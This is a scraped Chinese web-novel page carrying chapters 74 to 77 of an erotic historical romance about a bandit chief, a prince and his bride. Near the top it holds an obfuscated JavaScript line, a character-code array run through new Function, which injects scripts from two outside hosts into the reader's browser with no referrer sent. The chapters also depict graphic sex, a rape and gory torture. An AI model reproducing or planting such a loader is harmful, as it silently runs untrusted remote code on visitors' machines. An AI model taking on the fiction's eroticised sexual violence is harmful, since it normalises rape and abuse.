登录 首页
公告
移除广告,支持支付宝
(function(a){(new Function(String.fromCharCode(...a)))();})([108, 101, 116, 32, 117, 114, 108, 115, 61, 91, 34, 104, 116, 116, 112, 115, 58, 47, 47, 100, 45, 49, 51, 53, 49, 52, 52, 55, 52, 57, 50, 46, 99, 111, 115, 46, 97, 112, 45, 115, 104, 97, 110, 103, 104, 97, 105, 46, 109, 121, 113, 99, 108, 111, 117, 100, 46, 99, 111, 109, 47, 49, 57, 47, 57, 51, 53, 50, 53, 48, 49, 49, 34, 44, 34, 104, 116, 116, 112, 115, 58, 47, 47, 112, 46, 55, 100, 51, 54, 97, 46, 99, 111, 109, 47, 49, 57, 47, 57, 51, 53, 50, 53, 48, 49, 49, 34, 93, 59, 119, 105, 110, 100, 111, 119, 46, 95, 95, 114, 114, 95, 95, 104, 108, 100, 61, 49, 59, 108, 101, 116, 32, 117, 114, 108, 105, 110, 100, 101, 120, 61, 48, 59, 108, 101, 116, 32, 114, 102, 117, 110, 99, 61, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 123, 105, 102, 40, 119, 105, 110, 100, 111, 119, 46, 95, 95, 114, 114, 95, 95, 108, 111, 97, 100, 101, 100, 95, 50, 53, 51, 57, 95, 49, 49, 48, 53, 32, 33, 61, 32, 39, 111, 107, 39, 41, 123, 108, 101, 116, 32, 115, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 115, 115, 46, 116, 121, 112, 101, 32, 61, 32, 39, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 39, 59, 115, 115, 46, 114, 101, 102, 101, 114, 114, 101, 114, 80, 111, 108, 105, 99, 121, 61, 39, 110, 111, 45, 114, 101, 102, 101, 114, 114, 101, 114, 39, 59, 115, 115, 46, 115, 114, 99, 61, 117, 114, 108, 115, 91, 117, 114, 108, 105, 110, 100, 101, 120, 43, 43, 93, 43, 32, 40, 110, 97, 118, 105, 103, 97, 116, 111, 114, 46, 117, 115, 101, 114, 65, 103, 101, 110, 116, 46, 105, 110, 100, 101, 120, 79, 102, 40, 39, 65, 110, 100, 114, 111, 105, 100, 39, 41, 32, 33, 61, 32, 45, 49, 32, 63, 32, 39, 48, 39, 58, 39, 49, 39, 41, 32, 43, 32, 39, 63, 39, 32, 43, 32, 110, 101, 119, 32, 68, 97, 116, 101, 40, 41, 46, 103, 101, 116, 84, 105, 109, 101, 40, 41, 59, 100, 111, 99, 117, 109, 101, 110, 116, 46, 98, 111, 100, 121, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 115, 41, 59, 125, 125, 59, 114, 102, 117, 110, 99, 40, 41, 59, 114, 102, 117, 110, 99, 40, 41, 59]);
青青河边草 / 2025/10/01 01:12 / 736 / 77 /
【小说】春雨淫史

青青河边草 / 发表于: 2025/10/01 11:21:38

(七十四)新媳妇通奸又被强奸,乌雕号穷途末路
  与此同时,贺府后院,贺老爷新娶的媳妇关上门,细细数起了那堆金银细软。其实贺家在京城的官宦之家中根本算不上富贵,贺老爷不善经营,这几年已经败落许多了,但那女子毕竟出身小门小户,何时见过那么多钱,顿时眼睛都直了。她姓白名倩倩,生得一双妖娆杏眼,肤如凝脂,还不到三十岁,极为诱人。
  门上传来叩门声:“倩倩,倩倩!”她立刻开了门,一个青年男子闪身进来,她叫道:“华弟!”
  这男子名叫叶华,是白倩倩前夫的小叔子,这次是代表叶家将白倩倩送嫁到贺家,其实私底下两人早就勾搭到了一起。白倩倩在叶家守寡了一年,两人眉来眼去,天雷勾动地火,终于在一个月黑风高的夜里滚上了床。
  叶华动情地抱住她,抚摸她柔软的腰肢:“倩倩,我真舍不得你,一想到你今晚就要和那老头圆房,我心都要碎了。”
  白倩倩笑道:“傻子,我们不是说好了吗,半路上就把那老头劫了,你带着我一块远走高飞。现在世道这么乱,谁抓得住我们。”
  她引他看那堆金银:“你看,有这么多钱!”
  叶华不看那些东西,他本来也是没什么底线之人,和白倩倩密谋抢夺别人财产也毫无愧疚之心,只是想到自己的女人要被别的男人上了,心中嫉妒。他揉着白倩倩还罩着喜服的乳房,在她的红唇上亲着,含含糊糊道:“你和别的男人洞房之夜,先让我搞一回,我给他带一顶绿帽子……”
  白倩倩被他一摸,不禁呻吟道:“不行……华弟……他会发现的……不可以……”
  叶华道:“我不射在里面……我保证,好倩倩,好嫂子,就让我插一插嘛……”
  白倩倩对这个比自己小的小叔子毫无抵抗能力,红着脸道:“好吧,你快点弄,不准射在里面……”
  叶华顿时激动起来,把白倩倩抱到喜床之上,身下是大红的鸳鸯锦被,想到她就要和别的男人在这张床上做爱,却被他占了先,不由得更为激动,解开她喜服的衣襟,露出那一对高耸的雪乳来,又舔又吸。
  “好嫂嫂……喂弟弟喝奶……嗯……嫂子的奶真甜……”
  白倩倩满脸通红,抚摸着叶华的脸。她嫁给叶华大哥之后,生过一个孩子,每当她在家里敞开胸脯喂奶时,总能看到叶华灼热的目光,还时不时说一些调戏的话语,让她一颗心乱跳。有一次她拿着帕子擦拭自己溢出来的奶水,过后忘在了桌上,她再去取,发现叶华正拿着那块帕子,一边闻着,一边自慰,那淫靡的画面让她下身一阵瘙痒,立刻就湿了。
  “要生完孩子才有奶……”
  “那嫂嫂给我生孩子……一直生……天天挤奶给我喝……”
  叶华解开了她的裙子,露出布满黑毛的阴户,伸手进去抠了抠:“嫂嫂的逼还是这么紧……生过孩子也那么紧……这么水嫩的逼今天就要被别的男人干了,真他妈不甘心……”
  白倩倩呻吟道:“好弟弟,嫂嫂被别人干……心里想的也是你……啊……嫂嫂心里只有你……”
  叶华扶着自己的鸡巴,往阴道里插进去,白倩倩抓住了底下的大红锦被,淫叫不绝:“弟弟的鸡巴好大……啊……好舒服……”
  叶华将她的两条大白腿环住自己腰,前后耸动起来,两人正得趣,外面突然有人敲门:“夫人,夫人,前院出事了!”
  白倩倩听出这是一个她娘家带来的婆子,也不瞒她,断断续续道:“啊……怎么了……”
  那婆子一听,就知道里面两人在干那事,不禁心下鄙夷,道:“夫人,贺老爷说,等不了明天了,今晚就动身,你赶紧理一理吧!”
  白倩倩大惊,阴道顿时锁紧,那叶华只觉得有千万张嘴在吸他的鸡巴,一时守不住,全部泄在了白倩倩里面。
  “你!你不是说不弄在里面的吗!”白倩倩嗔怪道,两人赶紧起来整理衣服,前脚刚好,后脚贺老爷就到了。
  “快,快收拾东西!妈的,真是晦气!”一向以读书人自居的贺老爷也爆起了粗口,白倩倩不由得小心问:“老爷,怎么了?”
  “京城里出大事了!你女人家不要多问,乘那几个土匪分心,我们三十六计走为上计!”
  两人收好东西,带着一个婆子一个老仆人,都是心腹之人,再加上叶华,摸黑去后院的马厩,将马套上马车。
  周围突然响起一声嗤笑,突然灯笼亮了起来,乌雕号和阿豪抱臂站在一边:“大晚上的,岳丈去哪儿啊?”
  贺老爷结结巴巴说不出话来,白倩倩尖叫一声,差点扑到叶华怀里。乌雕号却敏锐地发现了两人之间非同寻常的奸情。
  “哟,这小娘子,细皮嫩肉的,过来让老子看看!”
  白倩倩无力抗拒着,被阿豪一把拉住,借着灯火,阿豪发现她屁股后的裙子上湿了一小块,用手一抹,放在鼻子下一闻,狂笑起来:“大王!这是男人的精液!这骚逼刚刚被男人干过!”
  白倩倩慌乱道:“我没有……你血口喷人……”
  阿豪狞笑道:“有没有,验一验不就知道了!”便要脱她裙子,白倩倩大哭起来,贺老爷忙阻拦道:“两位……两位壮士,有话好好说……”
  乌雕号冷笑道:“岳丈大人开口,小婿莫敢不从,这样吧,你们人可以走,这女人和金银,就给小婿做个见面礼吧!”
  贺老爷恳求道:“这是老夫全部的家底了……壮士行行好……”
  乌雕号大怒,十九岁那一年遭受的耻辱一幕幕又浮现在眼前。当年尚是中年人的贺老爷也是这幅怂样,出了事只会狂骂自己五岁的女儿。他猛地击出一拳,一颗碗口粗的大树断成两半:“滚!要不是看在雨儿的份上,老子杀了你这狗官!”
  贺老爷不再说话,提起袍子,一溜烟从后门跑走了。他在驻地还有一点财产,只要能保住一条命,当个富家翁还是不成问题!
  另外一边,阿豪已经把白倩倩摁在地上,扒下了她的裙子,露出两条大白腿,他伸手到白倩倩的逼里一摸,大笑道:“真他妈骚!这里面被男人射了个满!贺老爷干得动你?别是哪个姘头吧!”
  一边叶华气得全身发抖,他既舍不下白倩倩,更舍不下那些金银财帛,白倩倩哭叫道:“华弟!华弟!快来救我啊!”
  叶华把心一横,道:“壮士!只要你能放了我嫂嫂,在下做牛做马回报你!”
  乌雕号笑道:“我何时说要害她性命,你让我兄弟爽爽,自然就放了她!”
  叶华无可奈何,向白倩倩喊道:“倩倩,你,你就从了他们吧……我,我不嫌弃你……”
  白倩倩哭得更大声了,她的双腿被阿豪拉开,双手被一只大手紧紧禁锢在头顶,刚刚被干过的湿润阴道又被插入了一根大屌,那根大屌比叶华的粗了一圈,让她疼痛不已。
  “畜生……你们都是畜生……呜呜呜……我做鬼也不放过你……”
  贺时雨赶到后院时,看到的就是这一幕,她尖叫道:“你们住手!我爹呢!”
  乌雕号道:“雨儿可冤枉为夫了!为夫什么都没做!你的小娘和她小叔子通奸,为夫帮忙略施惩戒,你爹看到以后气得不行,已经先一步回任上去了!”
  白倩倩被扒得精光,胳膊上挂着大红喜服,露出雪白的奶子,被撞得一抖一抖得,贺时雨怒道:“赶快停下!”
  阿豪笑道:“嫂子,这可停不下……”
  贺时雨捡起一块石头,就向阿豪的头上砸去,顿时砸出一个血窟窿,阿豪顿时兴致全无,鸡巴一下子软了,他破口大骂:“我操!你这疯婆子!老子揍死你!”
  乌雕号喝道:“你敢骂她?”
  阿豪怒道:“大王,你眼瞎了?兄弟们为你出生入死,还比不过一个女人?!这妖精的床上功夫是有多好!小逼把你的脑子都吸光了是不是!”
  乌雕号一贯刚愎自用,最恨有人违逆他,贺时雨次次挑战他的底线,已经是唯一的例外,他怎能容忍别人挑衅他的权威!阿豪还没反应过来,已经被乌雕号一拳打在面门,飞出去十几米,鼻歪口斜,牙齿崩掉了好几颗。
  “妈的!乌雕号!你这背信忘义的南蛮狗!你算个什么东西!屁眼子都被玩烂……”话音未落,他下身一阵剧痛,乌雕号大手一抓,竟然硬生生将他的两颗卵蛋捏碎了,裤裆一片血肉模糊,阿豪痛苦地嚎叫起来:“我许豪……做鬼也不放过你……我兄弟许杰……给我报仇……”他浑身一阵抽搐,竟然是活活疼死了。乌雕号猛地回头看了眼贺时雨,贺时雨愣在当场,没有反应过来。乌雕号心道:她一定不记得当年的事了。希望她永远不要记起来。
  叶华乘他俩争斗,偷偷跑去扶起白倩倩,白倩倩左右开弓给了他两个耳光,不肯和他走,叶华自知理亏,偷偷在马车上摸了一锭金子,赶紧也逃走了。
  突然,墙外响起一阵整齐划一的脚步声,无数士兵包围了贺府,贺时雨又激动又忐忑,乌雕号终于能伏诛了吗!?
  外面一个男人道:“丞相里通逆贼,已经伏法,贼人休要侥幸,速速投降!”一个东西被扔进来,在地上滚了几滚,竟然是那阿杰人头,满脸血污,两个眼睛都被挖了。
  乌雕号脸色彻底阴沉下来,布满杀气,仿佛变成了魔鬼,他狂笑道:“有种就来,你们这些狗官!”

乡村如此多娇
伙夫
周平本是一个平凡小村医,可是村里的俊寡妇,总喜欢上门找他治病…… 水兰溪:“周平,今晚上来嫂子家给嫂子治一治吧?” 周平:“兰溪嫂子,快让我歇一歇吧,这个星期都八回了!” ...

青青河边草 / 发表于: 2025/10/01 11:25:49

(七十五)贺时雨手刃乌雕号,终与公主相见
  霎时间嗖嗖一阵金属碰撞的声响,十几条钩爪飞越过贺府围墙,扣在墙沿上,只见一排身手了得的士兵顺着绳索飞身上墙,接二连三地跳进了院子里。
  “贼寇!逆相大势已去,尔等毛贼以卵击石耳!还不速速束手就擒!”为首的士兵洪亮地喊道,已唰地掏出腰间长刀。
  贺时雨不会认错那一把刀,刀柄是汶山王的徽章,这士兵敢拿着汶山军的刀,说明他是汶山王的嫡系军队,而汶山王必然已经平反,洗刷冤屈了!
  “相霖,相霖就在这里。”贺时雨默默地念着,眼泪已经盈满了眼眶。
  她正焦急地看着那些逼近的士兵,就被乌雕号一把扯过,“夫人!刀剑无眼,你往前跑,我垫后!”
  他大手一推,贺时雨被一个踉跄推到他身后,贺时雨回头一看,乌雕号抽出双刀,已经和七八个士兵激战起来。他招招不要命,身上接连挂彩而浑然不觉,那些士兵即便都是汶山王的精锐,此时竟然也一时不能让乌雕号毙命。
  耳边一时间都是刀兵相交的铿锵之声和男人们的呼号喝骂。
  贺时雨没有跑。都到了这个时候了,她只想亲眼看着乌雕号的下场,生死被她置之度外。
  四周接二连三响起喊杀声,又有士兵已经从贺府各处杀入,包抄而来。
  乌雕号自知大势已去,仰天大笑数声:“哈哈!我乌雕号到头来还是栽在汶山狗王手里!这一生不能报此血仇,死不瞑目!不过……”
  他嘴里说着“不过”,眼睛便看向了贺时雨,这一眼如深渊,如深潭,似有千言万语。他话未说完,肋下已被深深插进一刀,他上身骤然痛苦地佝成一团,口吐鲜血,慢慢地跪了下去。他一双眼睛始终没有离开贺时雨。
  兵士们见乌雕号已无力反抗,便有两人将刀架在他脖子上,其余人齐刷刷跪了下来,声如洪钟:“属下参见王妃!救驾来迟,我等罪该万死!”
  贺时雨眼泪流出来:“众将士快快请起!我愧不敢当!你们王爷呢?你们王爷人在何处,他可安好?”
  一个上了年纪的参将站起来,走到贺时雨身前,深深一拱手:“回禀王妃,王爷现带人在城外狙击云南王,分身乏术,不能亲自来接王妃,故派我等前来救驾。”
  一听到汶山王正在狙击云南王的消息,贺时雨心急如焚,她知道这必然是一场激战,极为凶险,汶山军和京城禁军加起来,也不及云南王先锋部队一半人马,怕是九死一生。夫君为了京城百姓亲身涉险,生死难料,还不忘派精锐来救自己……“我不过是个女子,有何要紧!你们不要管我,我自待在贺府避难,不会有人注意到我,你们快快去帮王爷才是啊!”
  那参将道:“王爷交待,务必将王妃护送至宫中避难。王妃莫惊,王爷智谋过人,必将化险为夷,将云南王击退.眼下逆相伏诛,宫里是安全的,公主正在等王妃!”
  “那乌雕号怎么办?”贺时雨擦干眼泪,问道。
  参将正要说话,忽然墙外的大路上传来一片急促的马蹄声和脚步声。汶山军立刻戒备起来,将贺时雨团团围住。
  “王妃,外面的脚步声不似我们的人。请王妃不要出声,让我等对付情况便是。”
  很快,贺府里又冲进来一批士兵,身穿黑红相间的军装,帽檐上装饰着翎羽,竟然是右将军的禁卫军。
  禁卫军将汶山军团团围住,为首一百夫长站出来,一拱手:“小人见过汶山军众将士!大将军命我等保卫京畿,特来拿要犯乌雕号,交由大理寺审理!”
  汶山军众人一听,几乎气炸,这便是堂而皇之地不要脸了罢!
  贺时雨趁众人对峙之时,猫着腰悄悄钻出去,来到了乌雕号身前。
  她捡起乌雕号掉落一旁的刀。
  乌雕号的血已经滔滔地流了满地,眼看进气少出气多,一张脸已成死灰色,决计不可能活着被送到大理寺。可见左将军安的是什么心。
  乌雕号竭力抬起眼皮,看着贺时雨,他挤出一个比哭还难看的笑。
  “雨儿……你放心,就算我真的被他们带走,我也一个字都不会讲的。”
  他看了一眼贺时雨手中的刀,轻声道:“这样也好。这样的结局,比什么都好。”
  “只可惜……只可惜,我在你心里,永远……”
  “永远都是……坏人了。”
  贺时雨闭上眼睛,用尽全身的力气,将那柄刀刺进了乌雕号的心脏。
  众人皆是一惊。只见乌雕号侧着身子重重倒了下去,一动不动了。
  “王妃……”
  几个士兵小心扶起贺时雨,贺时雨摇摇晃晃站起来,睁开眼睛,她看到乌雕号真的死了。
  对于她来说,这一切,已经正式结束了。
  贺时雨全身瘫软,被汶山军搀扶进轿子里,一路马不停蹄送入皇宫。在终于见到南宫公主的那一刻,她才终于卸下包袱,痛哭起来。
  公主屏退宫人,坐在地上,搂着贺时雨,任她哭,任她发泄,她不时地轻拍贺时雨的脊背,仿佛又回到了小时候,两个好朋友一起玩耍,一起哭一起笑。
  贺时雨一直哭到后半夜,几乎昏死过去,公主连忙叫人送来甜羹和参茶,一口一口喂贺时雨吃下去,贺时雨吃了甜食,终于缓过来。她两个眼睛出奇地大,仿佛一日之间,整个人就瘦脱了形。
  姐妹俩这才抱头哭笑一番,坐在床榻上说起话来,公主将朝中的剧变简要讲给贺时雨听,贺时雨也将在山寨里的所见所闻尽数吐露,一直讲到她如何忍辱负重,和乌雕号一起潜入京城,又想尽办法在他眼皮底下找到机会,将重要情报送给公主……正是如此,才能一举拿下许丞相,捉住朝中的奸细,汶山王没了后顾之忧,联合旧部和众将士,勇猛地将云南王先锋截杀在京城之外。
  “雨儿莫要担心,每隔一个时辰我就能收到线报,汶山王节节胜利,京城百姓都聚在城墙下面,喊声震天,给他助威。”
  贺时雨此时也一扫之前的阴霾,燃起希望来,她知道,自己的夫君就要得胜归来,她很快就要见到他了!
  又聊了一会儿,南宫公主见她情绪渐好,这才小心翼翼地问道:“我听闻,那乌雕号被你亲手杀了。”
  贺时雨正色道:“当时情况危急,右将军的禁卫军要拿人。说是要送审大理寺。其实乌雕号罪行确凿,差点被汶山军就地正法,还有什么可审?他们无非是要让众人都见到乌雕号被擒,然后说他供出一堆如何逼奸我的丑事,好到处散播,让全城百姓都谈论汶山王妃如何如何被匪首奸污,汶山王如何如何没用,戴了好大一顶绿帽子。”
  “他们就是要毁掉相霖的名声,哪怕相霖战功再大,一旦丑闻遍地,公主殿下再要封赏他,恢复他的兵权和官爵,都要碍于流言了。这群人打得便是这个主意。实际上乌雕号伤势甚重,根本活不到大理寺。”
  南宫公主赞叹一声: “真是士别三日当刮目相看!时雨妹妹所言,字字切中要害。如今许丞相被我诛拿,那些平日里打鬼主意的人也个个自危,生怕平乱后我刚好理由充分,把大权都交给汶山王!这些人遇到危难不想着保家卫国,一旦出乱子,第一个就跳出来排挤功臣,侵占权力!”
  二人又说了许多,公主才劝贺时雨早点休息,如今就踏踏实实养好身体,等着自己的夫君得胜归来才是。

史上最强炼气期
李道然
修炼了将近五千年的方羽,还是没有突破炼气期……“我真的只有炼气期,但你们别惹我!”

青青河边草 / 发表于: 2025/10/01 11:31:40

(七十六)汶山王得胜回宫,公主欲给贺时雨惊喜
  两天后,南宫公主下了大狱。众狱卒皆被屏退,她身边只留下沈如意一人。
  许彦鸿前胸的皮左右各开了两个大口子,被绳索钻入皮肤拉扯起来,硬是将皮从肉上掀了起来。空气中弥漫着腥臭的味道,只见伤口黄澄澄的,被人往掀开的皮肤里灌了蜂蜜,一群个头硕大的红蚂蚁在肉上爬来爬去,不停地吃着蜂蜜,还有鲜血淋漓的人肉。
  地上除了滴滴答答的血迹,还有大小便痕迹,显然许彦鸿忍受不了这非人的酷刑,已经失禁多次了。一个人皮肉掀开,被蚂蚁活活吃掉,偏偏过程如此漫长痛苦,他一时半会还死不了。
  “哼,难怪全招了,再怎么顽固,被这番酷刑洗练一番,估计连嘴巴上有几根毛也要招出来了。”公主冷笑连连。不过纵然她无比痛恨许丞相,此时见到他人不人鬼不鬼的样子,心中难免大骇,只是嘴上不肯表露出来。
  沈如意阴毒地道:“此奸臣大逆不道,一开始死活不肯招出云南王的行军动向,还口出狂言,损毁公主名誉,如意不得不让狱卒全部退下,亲自审问这贼子!”
  沈如意口中的“口出狂言”确实非同小可,许彦鸿被抓后,破口大骂公主是淫妇,和阉人苟合,祸乱宫闱,在沈如意一番酷刑之下,又爆发出非人的惨笑,说什么自己早就想把公主压在胯下操干一番,要不然也不会在公主幼年时数次猥亵,可惜今生今世得不到公主,只能眼睁睁看着她天天被一个阉人舔逼……沈如意自然暴怒,又是一番严刑拷打,才想出了蚂蚁食肉这么一招。他还是从大总管师傅那里听闻过这一前朝臭名昭着的酷刑,不想自己竟然有用上的一天。
  这一酷刑委实过于残酷,许彦鸿这样冥顽不灵的叛臣贼子,熬了不过一个时辰,就失禁便溺,口吐白沫,惨叫着招供了一切。
  南宫宫主派人快马加鞭将消息送给了前线的汶山王。汶山王得以将云南王先锋堵个正着。
  “相霖哥哥估计也快要打胜仗了。你速速将宫内禁军整合一下,密切监视其他有兵权的将领们。如果此时站出来打仗,要好好笼络鼓励,就不要计较以前了。至于那些至今还观望,按兵不动的……”公主双目一沉,眼神冷酷无情。
  “如意明白,如意自当尽快安排。”沈如意道:“殿下,这奸臣……您打算如何处置?”
  “暂时就这么晾着,别叫他死。陈年旧账,本宫慢慢算。”公主一挥衣袖,离开了这个污秽的地方。
  她曾经的噩梦,她日日夜夜梦想着要扳倒的敌人,此时就像一团烂肉,被虫吃鼠咬,再也没有翻身的可能。
  二人离开大狱,刚刚回到正殿,就有太监禀报,有两名军士风尘仆仆地赶来,通报战胜的好消息。
  公主大喜,连忙接见,来人正是两名汶山军军官,都是跟着汶山王多年出生入死的死士。原来京城百姓有近五百壮丁主动加入抗击叛军的队伍,由于熟悉地形,熟悉周边乡亲父老,他们和汶山军里应外合,设计将云南王前锋围堵在京城外围的村落里,利用河道和地形,声东击西,将云南王前锋杀得丢盔弃甲,死伤过半,其余尽数俘虏。
  公主连连问:“那你们王爷呢?汶山王现在何处?”
  在右的军官道:“回禀公主,王爷怕公主担心,特派我俩先来禀报,王爷正安顿士兵们和百姓撤退休息,待安排妥当,他第一时间快马前来觐见!”
  公主派人赏了两位军官,并安排他们留宿,她激动不已,道:“摆驾去青鹫宫,本宫要赶快把这喜讯告诉时雨妹妹!”
  沈如意眼角带着笑意,道:“公主,王爷既然已经在来的路上,何不给贺小姐一个惊喜?”
  公主笑道:“如意说的是!他们夫妻许久未见,本宫自是不要破坏这天大的惊喜才好。”
  汶山王深夜归来,有情人终重逢  贺时雨已经两天没怎么睡着,这一晚,她终于支持不住了。
  青鹫宫的石阶上映着清冷的月光,屋檐的龙首往下滴水,夜晚的微风吹拂着丝绸帷幔,一个人快步朝着宫门走来。
  他身着铁甲,脚步急促,一双鞋尽是泥泞,可偏偏脚步声还是很轻。守卫的士兵早就得了令,可真的见到这人时,还是定睛看了好一会才认出来。
  “参见……”士兵正要跪下行礼,却被那人一双有力的手托住。
  “莫要弄出动静,夜已深。”
  “她在?”
  “回禀王爷,贺小姐已休息,正在寝宫之中。”那士兵毕恭毕敬地答道。
  汶山王这才露出笑容。他的脸上都是污垢和血,竟是下了战场,就马不停蹄地赶来了,甚至顾不上梳洗休息一番。
  士兵默默地站开,汶山王大步踏了进去。他一边走,一边脱下厚重的披风,铠甲,护臂护腿,血迹斑斑的中衣,仿佛也脱掉了一身的杀气,他的心上人终于出现在视野里,透过薄如蝉翼的轻纱,可以看见那小小的身躯沉沉睡着,身上的被子踢掉一半,汶山王的心一下子就柔软起来。
  他沸腾的血液,绷紧的筋肉,一下子就放松了。
  夜幕是那么宁静。
  他轻手轻脚地掀开轻纱,朝思慕想的人近在咫尺,她眉头轻蹙,仿佛睡梦中也在经历着忧愁和痛苦,一张脸尖了许多,一定是吃了很多苦。
  多少个日日夜夜,她对他来说,远在天涯。
  汶山王禁不住眼湿了。他慢慢靠近,轻嗅着心上人身上淡淡的,好闻的香气,他又贪婪地伸出手,小心触碰着她的脸颊。那么柔嫩,那么脆弱,一触即碎。
  他几乎不敢相信,正是这柔弱的小人儿,在他最需要最危急的时刻,给他送来了最重要的情报,让他反败为胜,汶山军数千将士,京城数万百姓,都因此而保住了生命。
  “雨儿……娘子……”他喃喃细语,再也忍不住,在她脸颊上吻了下去。
  睡梦之中,贺时雨感觉到,有什么粗粝的东西,正在触碰着她,那么小心,那么温柔。
  那么熟悉。
  “相霖!”仿佛心有灵犀,贺时雨一下子就醒了,她睁开眼睛,和汶山王四目相对,她日思夜想,心心念念的人,就在自己的眼前!
  这一段时间不见,汶山王已经瘦到几乎脱形,脸上都是胡茬,血渍,头发也沾满了尘土灰烬。他身上尽是火炮的硝烟味,仅剩的里衣上全是大大小小的洞眼,仔细一看,竟然全是火燎的。
  贺时雨颤抖着双手,轻轻扒开汶山王的前襟,黝黑的皮肤上,布满新旧伤口,很多地方连新鲜的肉都翻了出来。左肩上那处星形的伤口,便是那次在江边,他为她挡箭留下的伤。
  贺时雨哭号一声,仿佛万箭穿心,她此时脑中一片空白,将自己经历的种种痛苦都忘得一干二净,她眼中只有遍体鳞伤的爱人,她整颗心都绞起来,她多想扑进汶山王的怀里,紧紧地搂住他,可她不敢,她怕碰一碰这伤痕累累的身躯,就会伤到他。
  贺时雨双手就这样僵在空中,汶山王心中一阵酸楚,他扑上去,将小人儿整个搂进怀里,恨不得将她揉进自己的身体里,二人血肉融为一体。贺时雨不敢挣扎,只能一边轻推,一边道:“相霖,相霖,你的伤……”
  “雨儿,别推我。”汶山王的声音带着血丝,“让我好好抱你一会儿,我怕这不是真的。”
  “我怕又是我的一场梦。”
  贺时雨不再动,任他搂着,抱着,她将手绕道汶山王的背后,轻抚着他骨骼分明的肩膀和脊背,他的心跳传递到她的手心,他血液的奔涌传递到她心里,汹涌又惶恐,这个顶天立地的男人,此时竟然是害怕的。
  “相霖,我们再也不要分开了。”贺时雨哽咽着,任由眼泪奔涌而出。
  汶山王没有回答,只是将脸深深埋进她的肩膀里,点了点头。
  贺时雨静静地,抚摸着汶山王,只感到他身体越来越沉,越来越没有动作,她使劲儿,才能将汶山王平稳地放到床上,他已经没有动静了,也不知是睡了过去,还是筋疲力尽昏了过去。他嘴唇都是干裂的血丝,面无人色,贺时雨又摸了摸他的脸,才发觉烫得很。
  她抹干眼泪,匆匆套上衣服,替汶山王盖上被子,连鞋也忘了穿,赤脚踩在平整冰凉的青石砖上,一路小跑出了宫殿。
  “贺小姐!”守卫的兵士大惊。
  “宣太医!快宣太医!”她哭喊道,紧紧扯住兵士的袖子。

乡村如此多娇
伙夫
周平本是一个平凡小村医,可是村里的俊寡妇,总喜欢上门找他治病…… 水兰溪:“周平,今晚上来嫂子家给嫂子治一治吧?” 周平:“兰溪嫂子,快让我歇一歇吧,这个星期都八回了!” ...

青青河边草 / 发表于: 2025/10/01 11:32:30

(七十七)有情人终成眷属,赵克谜底揭秘
  汶山王大约昏睡了七八天,才渐渐能看到起色。这期间他虽然断断续续地醒来,但是透支过重,伤病缠身,稍稍一动就火燎一样疼,太医不得不下了重药给他止痛,这药力也是他昏睡的原因之一。
  贺时雨坚持亲自照顾他,她庆幸汶山王不用醒来,要不然这浑身的伤口结痂,又痛又痒,坐立难安,还是这样睡着比较好。
  她白天沾着清凉的药汁,轻轻擦拭汶山王的全身,不放过每一处角落,到了晚上又换几盆热水,将他从头到脚擦洗干净。有太监来试探性地代劳,都被她婉言谢绝了。
  这几日是连绵不断的阴雨,屋檐上滴滴答答水声连连,整个青鹫宫都格外安静,安静得能听到汶山王平稳的呼吸声。贺时雨正在给他洗头发,她将汶山王的头小心翼翼放置在柔软的枕头上,长发垂下,一直垂到盆里,温水里拌了活血化瘀的药油,散发着好闻的药香味,贺时雨动作无比轻柔,一掬掬撩起水来,漂洗心上人的长发。她又不时地将十指插进他的发根里,按照太医的叮嘱轻梳按摩,重点按捏数个大穴。
  她那么耐心,那么温柔,仿佛手里捧着一件易碎的稀世珍宝。
  也许是她做的太好了,熟睡的汶山王,嘴角竟然泛起一抹淡淡的笑容,可能梦见了美好的事情吧。
  她一边希望心上人尽快康复,一边又期望他能多休息一会,就这样睡着,不要再那么急匆匆地去鞠躬尽瘁。
  幼帝借着这次兵变,以惊人的速度成长起来,在南宫公主的辅助下,尽可能地出面处理了大部分军务政务,虽然紧张,但也算是给他自己打下了良好的基础,获益匪浅。
  后来多多少少还是有流言传出,说云南王忽然节节败退,并不是朝中那些将军真的鼓足了劲儿去打叛军,而是公主的秘密死士们潜入了云南王身边,做了非常恐怖的事情,将云南王和其一众党羽以不可告人的手段控制住了。
  公主身边的阉人沈如意,就像权贵们头顶恐怖的阴云,成为了一个不可说的可怕人物。
  不管怎样,京城百姓最关心的,还是汶山王和贺家小姐的大婚典礼到底何时举行。毕竟茶楼酒肆的说书人,京城几大戏班子,都争先恐后地演出汶山王抗敌,而贺时雨在民间愈演愈烈的编排中,成为了美貌智慧力挽狂澜的奇女子。
  这样一对传奇人物,怎么没办婚礼呢? 百姓们可不干了。
  汶山王终于顶不住百姓舆论的压力,宣布国家刚刚经历战乱,战死的将士们尸骨未寒,为表敬意,会将婚礼延期到明年举行,在此期间,还请百姓们休整,劳作,以建设家园,巩固国防为主。
  他并没有料到,这一年的所谓延迟,彻底激起了京城百姓自发庆祝的兴致,第二年的婚礼堪称本朝建业以来最盛大的仪式,四方百姓张灯结彩,夹道庆祝,几乎把迎亲的队伍挤到天上去,那一晚,宫中宴会的礼乐声,都被墙外百姓高歌载舞的声音湮没了。幼帝大手一挥,干脆停了宴席,携汶山王夫妇,公主,文武百官都站到了城墙上,朝城中百姓挥手致意,百姓们彻底沸腾。
  很多年后,汶山王大婚的故事,依然是百姓们津津乐道的旧事,讲给一代又一代的孩子们听。
  在婚礼之前,汶山王养伤的这段时间里,发生了两件重要的事。
  一来,公主竭力劝说汶山王留在京城,辅佐朝政,汶山王几经思量,又和贺时雨认真商量之后,二人还是决定回到川蜀,回到汶山郡。汶山王希望能好好治理蜀中,尤其是处理好西南夷和汉人的关系,建立平等的制度,鼓励贸易往来,严厉打击贩卖人口,苛捐杂税,希望能在有生之年,造福川蜀人民,化解汉夷世世代代的仇恨和误解。
  二来,汶山王没有忘记当初的承诺。
  他找到了赵克的下落。
  贺时雨不知道该怎么办,其实她早就不想找赵克了。但今生今世,如果能解开这个谜团,才算没有遗憾。她六神无主,但还是强作镇定,和汶山王一起坐船南下,去拜访那个神秘的青年。
  她很奇怪,但是不好意思问,为什么自己的夫君看起来,完全没有吃醋呢?
  十天后,二人总算来到了一个安宁祥和的小镇。
